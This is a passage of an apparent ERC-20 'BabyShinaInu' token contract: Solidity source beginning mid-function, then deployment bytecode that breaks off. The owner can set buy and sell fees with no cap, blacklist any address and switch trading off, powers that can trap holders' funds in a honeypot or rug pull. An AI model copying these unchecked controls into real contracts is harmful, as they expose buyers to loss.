!bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d51565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e22565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e7a565b61087b565b6040516102649190612ed5565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f4f565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f79565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f94565b6108cf565b6040516102f79190612ed5565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f79565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d9190613003565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b604051610378919061302d565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613048565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130a1565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613048565b610c50565b60405161041e9190612f79565b60405180910390f35b34801561043357600080fd5b5061043c610ca1565b005b34801561044a57600080fd5b50610465600480360381019061046091906130ce565b610df4565b005b34801561047357600080fd5b5061047c610e93565b6040516104899190612f79565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613048565b610e99565b6040516104c69190612f79565b60405180910390f35b3480156104db57600080fd5b506104e4610eb1565b6040516104f1919061302d565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130a1565b610eda565b005b34801561052f57600080fd5b50610538610f8c565b6040516105459190612f79565b60405180910390f35b34801561055a57600080fd5b50610563610f92565b6040516105709190612e22565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130ce565b610fcf565b005b3480156105ae57600080fd5b506105c960048036038101906105c491906130fb565b61106e565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e7a565b611125565b6040516105ff9190612ed5565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613048565b611143565b60405161063c9190612ed5565b60405180910390f35b34801561065157600080fd5b5061065a611163565b005b34801561066857600080fd5b50610683600480360381019061067e91906131bd565b61123c565b005b34801561069157600080fd5b506106ac60048036038101906106a7919061321d565b611376565b6040516106b99190612f79565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130ce565b6113fd565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613048565b61149c565b005b61071c61165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132a9565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132c9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613327565b9150506107ac565b5050565b60606040518060400160405280600c81526020017f426162795368696e61496e750000000000000000000000000000000000000000815250905090565b600061088f61088861165d565b8484611665565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108dc84848461182e565b61099d846108e861165d565b61099885604051806060016040528060288152602001613d6760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b19092919063ffffffff16565b611665565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132a9565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad561165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906132a9565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc061165d565b73ffffffffffffffffffffffffffffffffffffffff161480610c365750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1e61165d565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3f57600080fd5b6000479050610c4d81612115565b50565b6000610c9a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612181565b9050919050565b610ca961165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d906132a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfc61165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906132a9565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee261165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906132a9565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600381526020017f4253490000000000000000000000000000000000000000000000000000000000815250905090565b610fd761165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906132a9565b60405180910390fd5b8060188190555050565b61107661165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906132a9565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113961113261165d565b848461182e565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a461165d565b73ffffffffffffffffffffffffffffffffffffffff16148061121a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120261165d565b73ffffffffffffffffffffffffffffffffffffffff16145b61122357600080fd5b600061122e30610c50565b9050611239816121ef565b50565b61124461165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906132a9565b60405180910390fd5b60005b838390508110156113705781600560008686858181106112f7576112f66132c9565b5b905060200201602081019061130c9190613048565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136890613327565b9150506112d4565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140561165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611489906132a9565b60405180910390fd5b8060178190555050565b6114a461165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611531576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611528906132a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036115a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611597906133e1565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cb90613473565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173a90613505565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118219190612f79565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361189d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189490613597565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361190c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190390613629565b60405180910390fd5b6000811161194f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611946906136bb565b60405180910390fd5b611957610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119c55750611995610eb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db057601560149054906101000a900460ff16611a54576119e6610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4a9061374d565b60405180910390fd5b5b601654811115611a99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a90906137b9565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b3d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b739061384b565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c295760175481611bde84610c50565b611be8919061386b565b10611c28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1f90613933565b60405180910390fd5b5b6000611c3430610c50565b9050600060185482101590506016548210611c4f5760165491505b808015611c67575060158054906101000a900460ff16155b8015611cc15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cd95750601560169054906101000a900460ff165b8015611d2f5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d855750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611dad57611d93826121ef565b60004790506000811115611dab57611daa47612115565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e575750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0a5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f095750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f18576000905061209f565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fdb57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120865750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561209e57600a54600c81905550600b54600d819055505b5b6120ab84848484612466565b50505050565b60008383111582906120f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f09190612e22565b60405180910390fd5b50600083856121089190613953565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561217d573d6000803e3d6000fd5b5050565b60006006548211156121c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121bf906139f9565b60405180910390fd5b60006121d2612493565b90506121e781846124be90919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222657612225612bb0565b5b6040519080825280602002602001820160405280156122545781602001602082028036833780820191505090505b509050308160008151811061226c5761226b6132c9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612313573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123379190613a2e565b8160018151811061234b5761234a6132c9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123b230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611665565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612416959493929190613b54565b600060405180830381600087803b15801561243057600080fd5b505af1158015612444573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061247457612473612508565b5b61247f848484612545565b8061248d5761248c612710565b5b50505050565b60008060006124a0612724565b915091506124b781836124be90919063ffffffff16565b9250505090565b600061250083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612783565b905092915050565b6000600c5414801561251c57506000600d54145b61254357600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612557876127e6565b9550955095509550955095506125b586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061264a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612696816128f6565b6126a084836129b3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126fd9190612f79565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612758670de0b6b3a76400006006546124be90919063ffffffff16565b82101561277657600654670de0b6b3a764000093509350505061277f565b81819350935050505b9091565b600080831182906127ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127c19190612e22565b60405180910390fd5b50600083856127d99190613bdd565b9050809150509392505050565b60008060008060008060008060006128038a600c54600d546129ed565b9250925092506000612813612493565b905060008060006128268e878787612a83565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061289083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b1565b905092915050565b60008082846128a7919061386b565b9050838110156128ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128e390613c5a565b60405180910390fd5b8091505092915050565b6000612900612493565b905060006129178284612b0c90919063ffffffff16565b905061296b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129c88260065461284e90919063ffffffff16565b6006819055506129e38160075461289890919063ffffffff16565b6007819055505050565b600080600080612a196064612a0b888a612b0c90919063ffffffff16565b6124be90919063ffffffff16565b90506000612a436064612a35888b612b0c90919063ffffffff16565b6124be90919063ffffffff16565b90506000612a6c82612a5e858c61284e90919063ffffffff16565b61284e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a9c8589612b0c90919063ffffffff16565b90506000612ab38689612b0c90919063ffffffff16565b90506000612aca8789612b0c90919063ffffffff16565b90506000612af382612ae5858761284e90919063ffffffff16565b61284e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612b1e5760009050612b80565b60008284612b2c9190613c7a565b9050828482612b3b9190613bdd565b14612b7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7290613d46565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612be882612b9f565b810181811067ffffffffffffffff82111715612c0757612c06612bb0565b5b80604052505050565b6000612c1a612b86565b9050612c268282612bdf565b919050565b600067ffffffffffffffff821115612c4657612c45612bb0565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c8782612c5c565b9050919050565b612c9781612c7c565b8114612ca257600080fd5b50565b600081359050612cb481612c8e565b92915050565b6000612ccd612cc884612c2b565b612c10565b90508083825260208201905060208402830185811115612cf057612cef612c57565b5b835b81811015612d195780612d058882612ca5565b845260208401935050602081019050612cf2565b5050509392505050565b600082601f830112612d3857612d37612b9a565b5b8135612d48848260208601612cba565b91505092915050565b600060208284031215612d6757612d66612b90565b5b600082013567ffffffffffffffff811115612d8557612d84612b95565b5b612d9184828501612d23565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612dd4578082015181840152602081019050612db9565b83811115612de3576000848401525b50505050565b6000612df482612d9a565b612dfe8185612da5565b9350612e0e818560208601612db6565b612e1781612b9f565b840191505092915050565b60006020820190508181036000830152612e3c8184612de9565b905092915050565b6000819050919050565b612e5781612e44565b8114612e6257600080fd5b50565b600081359050612e7481612e4e565b92915050565b60008060408385031215612e9157612e90612b90565b5b6000612e9f85828601612ca5565b9250506020612eb085828601612e65565b9150509250929050565b60008115159050919050565b612ecf81612eba565b82525050565b6000602082019050612eea6000830184612ec6565b92915050565b6000819050919050565b6000612f15612f10612f0b84612c5c565b612ef0565b612c5c565b9050919050565b6000612f2782612efa565b9050919050565b6000612f3982612f1c565b9050919050565b612f4981612f2e565b82525050565b6000602082019050612f646000830184612f40565b92915050565b612f7381612e44565b82525050565b6000602082019050612f8e6000830184612f6a565b92915050565b600080600060608486031215612fad57612fac612b90565b5b6000612fbb86828701612ca5565b9350506020612fcc86828701612ca5565b9250506040612fdd86828701612e65565b9150509250925092565b600060ff82169050919050565b612ffd81612fe7565b82525050565b60006020820190506130186000830184612ff4565b92915050565b61302781612c7c565b82525050565b6000602082019050613042600083018461301e565b92915050565b60006020828403121561305e5761305d612b90565b5b600061306c84828501612ca5565b91505092915050565b61307e81612eba565b811461308957600080fd5b50565b60008135905061309b81613075565b92915050565b6000602082840312156130b7576130b6612b90565b5b60006130c58482850161308c565b91505092915050565b6000602082840312156130e4576130e3612b90565b5b60006130f284828501612e65565b91505092915050565b6000806000806080858703121561311557613114612b90565b5b600061312387828801612e65565b945050602061313487828801612e65565b935050604061314587828801612e65565b925050606061315687828801612e65565b91505092959194509250565b600080fd5b60008083601f84011261317d5761317c612b9a565b5b8235905067ffffffffffffffff81111561319a57613199613162565b5b6020830191508360208202830111156131b6576131b5612c57565b5b9250929050565b6000806000604084860312156131d6576131d5612b90565b5b600084013567ffffffffffffffff8111156131f4576131f3612b95565b5b61320086828701613167565b935093505060206132138682870161308c565b9150509250925092565b6000806040838503121561323457613233612b90565b5b600061324285828601612ca5565b925050602061325385828601612ca5565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613293602083612da5565b915061329e8261325d565b602082019050919050565b600060208201905081810360008301526132c281613286565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061333282612e44565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613364576133636132f8565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133cb602683612da5565b91506133d68261336f565b604082019050919050565b600060208201905081810360008301526133fa816133be565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061345d602483612da5565b915061346882613401565b604082019050919050565b6000602082019050818103600083015261348c81613450565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f737300000000000000000000000000000000000000000000000000000000000060